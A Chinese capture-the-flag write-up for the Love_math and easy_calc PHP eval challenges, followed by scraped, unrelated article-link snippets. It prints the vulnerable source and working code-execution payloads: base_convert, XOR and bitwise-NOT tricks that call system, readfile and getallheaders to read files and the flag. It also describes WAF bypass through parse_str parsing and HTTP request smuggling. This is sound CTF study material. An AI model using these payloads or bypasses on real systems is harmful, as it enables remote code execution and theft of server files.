Love_math

题目源码:

<?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
show_source(__FILE__);
}else{
//例子 c=20-1
$content = $_GET['c'];
if (strlen($content) >= 80) {
die("太长了不会算");
}
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $content)) {
die("请不要输入奇奇怪怪的字符");
}
}
//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
foreach ($used_funcs[0] as $func) {
if (!in_array($func, $whitelist)) {
die("请不要输入奇奇怪怪的函数");
}
}
//帮你算出答案
eval('echo '.$content.';');
}

这道题又让我学到了很多姿势,通过base_convert可以任意进制转换,可以通过讲10进制转36进制,转出a-z的符号,再通过拼接实现任意绕过执行任意代码。

这里附上Smile师傅的总结love_math题解

题目分析

<?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
show_source(__FILE__);
}else{
//例子 c=20-1
$content = $_GET['c'];
if (strlen($content) >= 80) {
die("太长了不会算");
}
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $content)) {
die("请不要输入奇奇怪怪的字符");
}
}
//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
foreach ($used_funcs[0] as $func) {
if (!in_array($func, $whitelist)) {
die("请不要输入奇奇怪怪的函数");
}
}
//帮你算出答案
eval('echo '.$content.';');
}

  

可以看到题目限制了参数的长度要小于80,且不能包含空格、制表符、换行、单双引号、反引号、[]。并且输入的字符串需要为$whitelist中的函数。
最终会执行 eval('echo '.$content.';');

既然想要getshell,我们必须要能够获取任意字符串。由于单双引号被ban掉了,我们无法从函数名中提取字符串。因此我们只能想办法从函数的返回结果中获取。

通过翻阅文档,我们发现base_convert函数可以返回任意字母,需要注意它无法返回_ *等特殊字符。


成功执行

执行系统命令system('ls')

现在我们需要想办法读取flag.php的内容,三条路:
1、使用php函数readfile等函数读取文件,但是需要flag.php中的.
2、使用system等命令执行函数配合通配符*读取文件,但是需要*
3、使用$_GET全局变量手动传入参数getshell。

上面的三种方法都建立在字符长度小于80的条件下。

方法1

为了缩短字符长度,我们可以将函数base_convert赋值给一个短变量名,由于白名单的限制,我们最少需要两个字符,即$pi

($pi=base_convert)(2146934604002,10,36)('flag.php');

我们需要异或出.然后与flag和php拼接到一起,传入readfile。
本地搭建环境fuzz

<?php

$a = $_GET['a'];
$b = $_GET['b'];
echo $a^$b;


发现无法异或出.
但是我们发现dechex函数可以把10进制转换为16进制,我们可以再异或出hex2bin,来获取任意ASCII字符。

最终payload

($pi=base_convert)(2146934604002,10,36)($pi(727432,10,36).$pi(37907361743,10,36)(dechex(46)).$pi(33037,10,36));

很明显,超长了

本地测试下在没有长度限制下,是否可以读取

方法2

同样的,我们fuzz发现无法异或出*,需要借助hex2bin函数。
system

php > echo base_convert('system',36,10);
1751504350

cat *的16进制为636174202a

最初payload

($pi=base_convert)(1751504350,10,36)($pi(37907361743,10,36)(dechex(426836762666)))

成功小于80

方法3

这个思路来自xq17和shadow师傅,已经过本人同意。

刚开始我们知道可以异或出_。并且$没有被waf,因此我们可以使用$_GET全局变量手动传入参数getshell。
虽然[]被过滤,我们依然可以使用{}来提取数组中的值。

通过fuzz,我们可以得到

1^n=_; 5^r=G; 1^t=E; 7^c=T



不难构造出
$pi=base_convert;$pi=$pi(53179,10,36)^$pi(1109136,10,36);${$pi}{0}(${$pi}{1})

其实还有种方法就是利用getallheaders方法,因为是apache中间件,所以可以用getallheaders方法

方法4

通过getallheaders构造可控headers,system执行。来自先知社区的ROIS WP

那么多数学函数,实际上唯一能用的只有进制转换类,即base_convertdechex,通过其能导出[0-9a-z]在内的字符。

经过一大堆失败的实验,如:

// phpinfo();
(base_convert(55490343972,10,36))();
// system('cat /*');
$pi=base_convert(9911,10,28);base_convert(1751504350,10,36)($pi(99).$pi(97).$pi(116).$pi(32).$pi(42));

  

// system($_GET);
$pi=base_convert(16191,10,36);$pi=$pi(95).$pi(71).$pi(69).$pi(84);base_convert(1751504350,10,36)($$pi{pi});

最后使用system(getallheaders(){9}) 

$pi=base_convert;$pi(371235972282,10,28)(($pi(8768397090111664438,10,30))(){9})

easy_clac

题目改编自Love_math,题目的难点在于设置的waf,限制了字符串,只能数字通行。在buuctf平台复现

calc.php题目源码:

<?php
error_reporting(0);
if(!isset($_GET['num'])){
show_source(__FILE__);
}else{
$str = $_GET['num'];
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $str)) {
die("what are you want to do?");
}
}
eval('echo '.$str.';');
}
?>

与love_math还是有本质区别的,没有限制数学函数,并且过滤了$,^等。

那我们可以通过~取反来尝试读取当前目录。

发现输入字符会403,但是输入数字却可以正常执行。结合题目给的源码,设置了waf用来截断字符,通行数字。

这里通过三篇文章学习到了一些绕过方法,一二篇都是parse_str的,通过传参php的字符串解析问题,首发于先知社区。第三篇是http走私攻击

  1. 利用PHP函数parse_str绕过IDS、IPS和WAF
  2. 利用PHP的字符串解析特性Bypass
  3. 协议层的攻击——HTTP请求走私

方法一

这里因为限制了单引号,因此我们还是可以用取反操作,直接不需要单引号,转化为字符串。来尝试读取目录

var_dump(scandir('.')) 
var_dump(scandir((~%D1)))

在尝试读下根目录

尝试读取f1agg文件

本来想用system()直接读的,disable_funcionts禁了

用readfile读取f1agg

还有种方法就是还是用数学函数来实现,payload:

base_convert(2146934604002,10,36)(hex2bin(dechex(47)).base_convert(25254448,10,36))

方法二

http走私是由于前端代理服务器和后端源服务器之间的一些差异导致请求走私。

通过CL-CL的方法来执行

利用CL-TE或者TE-CL

根据我的理解,其实对于这道题都一样,前端代理和后端源都会执行一遍get传参,前端代理有waf,后端源执行返回正常的。

可能我的理解有所偏颇,但是知道并且能理解就行,不要太钻牛角尖。

后面的步骤与方法一 一样

这里附上很神奇payload:

((((((2).(0)){0}){0})|(((0/0).(0)){1})).(((((-1).(0)){0})|(((0/0).(0)){1}))&((((1).(0)){0})|(((999**999).(1)){2}))).((((2).(0)){0})|((((999**999).(1)){0})&(((999**999).(1)){2}))).(((999**999).(1)){0}).(((0/0).(0)){1}).((((999**999).(1)){1})&((((-1).(0)){0})|(((0/0).(0)){1}))).(((999**999).(1)){0}).((((2).(0)){0})|((((999**999).(1)){0})&(((999**999).(1)){1}))).(((((-1).(0)){0})|(((0/0).(0)){1}))&((((1).(0)){0})|(((999**999).(1)){2}))))(((((999**999).(1)){2}).(((999**999).(1)){0}).((((999**999).(1)){1})&((((-1).(0)){0})|(((0/0).(0)){1}))).(((((-1).(0)){0})|(((0/0).(0)){1}))&((((1).(0)){0})|(((999**999).(1)){2}))))(((((-1).(0)){0})|(((((8).(0)){0})&((((-1).(0)){0})|(((999**999).(1)){1})))|((((2).(0)){0})&((((-1).(0)){0})|(((999**999).(1)){1}))))).((((999**999).(1)){2})|((((4).(0)){0})&(((-1).(0)){0}))).(((1).(1)){0}).((((0/0).(0)){1})|(((-2).(1)){0})&(((1).(0)){0})).((((999**999).(1)){2})|(((-2).(1)){0})&(((1).(0)){0})).((((999**999).(1)){2})|(((-2).(1)){0})&(((1).(0)){0}))))

学习文章:https://github.red/roarctf-web-writeup/#easy_calc  

CISCN love_math和roarctf的easy_clac学习分析的更多相关文章

  1. NAACL 2019 字词表示学习分析

    NAACL 2019 表示学习分析 为要找出字.词.文档等实体表示学习相关的文章. word embedding 搜索关键词 word embedding Vector of Locally-Aggr ...

  2. web兼容学习分析笔记-margin 和padding浏览器解析差异

    二.margin 和padding浏览器解析差异 只有默认margin的元素 <body>margin:8px  margin:15px 10px 15px 10px(IE7) <b ...

  3. Full GC有关问题学习分析(转载)

    网站持久代引发Full GC问题分析 现状: Dragoon(监控系统)的日报显示trade_us_wholelsale(美国wholesale集群),日均Young GC次数25w次左右,应用暂停2 ...

  4. Linux3.5—IIC学习分析

    I2C控制器的设备对象内核已经实现并关联到platform总线. I2C控制器的驱动对象内核已经实现. 看mach-tiny4412.h /plat-samsung/目录下 /drivers/i2c/ ...

  5. Mininet实验 MAC地址学习分析

    拓扑图 学习过程分析 首先交换机A和交换机B一开始的MAC地址表都是空的. 此时主机11向主机33发送一个数据帧. 数据帧会先到达交换机A,交换机A会获得主机11的MAC地址和端口号.(此时交换机A的 ...

  6. Linux学习-分析登录档

    CentOS 预设提供的 logwatch 不过,要了解系统的状态,还是得要分析整个登录档才行~ 事实上, 目前已经有相当多的登录档分析工具,例如 CentOS 7.x 上面预设的 logwatch ...

  7. DNS投毒学习分析总结

    [一]背景 今晚看一份日志,数据很奇怪.大佬说是DNS投毒,盲点就来了,学习一下~ [二]内容 https://zhuanlan.zhihu.com/p/92899876 看完内容发现属于之前写的DN ...

  8. web兼容学习分析笔记--块级、内联、内联块级元素

    一.块级.内联.内联块级元素 (1)块级元素:block **独占一行 **可设置width,height,margin,padding **内部可包含块级或内联元素 (3)内联(行内)元素:inli ...

  9. JAVA学习 分析Servlet

    一个.什么是Servlet Servlet是一种在server端执行的java编写的程序,是依照Servlet规范编写的一个java类. 二.Servlet的工作过程 如图所看到的:为了实现客户与se ...

随机推荐

  1. sqoop面试题

    1.1 Sqoop 在工作中的定位是会用就行1.1.1 Sqoop导入数据到hdfs中的参数 /opt/module/sqoop/bin/sqoop import \ --connect \ # 特殊 ...

  2. css清除浮动影响

    将清除浮动代码添加到重置样式表中,随时可以调用 }}.clearfix:after{clear:both} 给需要清除浮动影响的元素添加class名 --- clearfix 例: <!-- c ...

  3. TensorFlow系列专题(八):七步带你实现RNN循环神经网络小示例

    欢迎大家关注我们的网站和系列教程:http://panchuang.net/ ,学习更多的机器学习.深度学习的知识! [前言]:在前面的内容里,我们已经学习了循环神经网络的基本结构和运算过程,这一小节 ...

  4. Java 泛型数组问题

    Java中不支持泛型数组, 以下代码会编译报错:generic array creation ArrayList<Integer>[] listArr = new ArrayList< ...

  5. 基于.NetCore3.1搭建项目系列 —— 使用Swagger导出文档 (番外篇)

    前言 回顾之前的两篇Swagger做Api接口文档,我们大体上学会了如何在net core3.1的项目基础上,搭建一套自动生产API接口说明文档的框架. 本来在Swagger的基础上,前后端开发人员在 ...

  6. [一起读源码]走进C#并发队列ConcurrentQueue的内部世界

    决定从这篇文章开始,开一个读源码系列,不限制平台语言或工具,任何自己感兴趣的都会写.前几天碰到一个小问题又读了一遍ConcurrentQueue的源码,那就拿C#中比较常用的并发队列Concurren ...

  7. Sql练习201908200916

    表结构: 一条sql修改多条数据(Sql server),oracle,mysql请自行尝试: ; go 完成.

  8. override 重写

    //override:子类继承父类,子类重写父类的方法 public class override { public static void main(String[] args) { horse h ...

  9. 关于C#三层架构增删改查中的“登录”问题

    先来一个界面: DAO中的方法: 实现代码如下: 这里需要特别注意的是一个“安全性”的考虑: 当登入成功时,把登入时输入的用户名赋值到Session,然后在后面的页面进行判断--此时Session保留 ...

  10. java 根据图片文字动态生成图片

    今天在做热敏打印机打印二维码,并有文字描述,想到的简单的方法就是根据热敏打印机的纸张宽度和高度,生成对应的图片,如下: package com.orisdom.utils; import lombok ...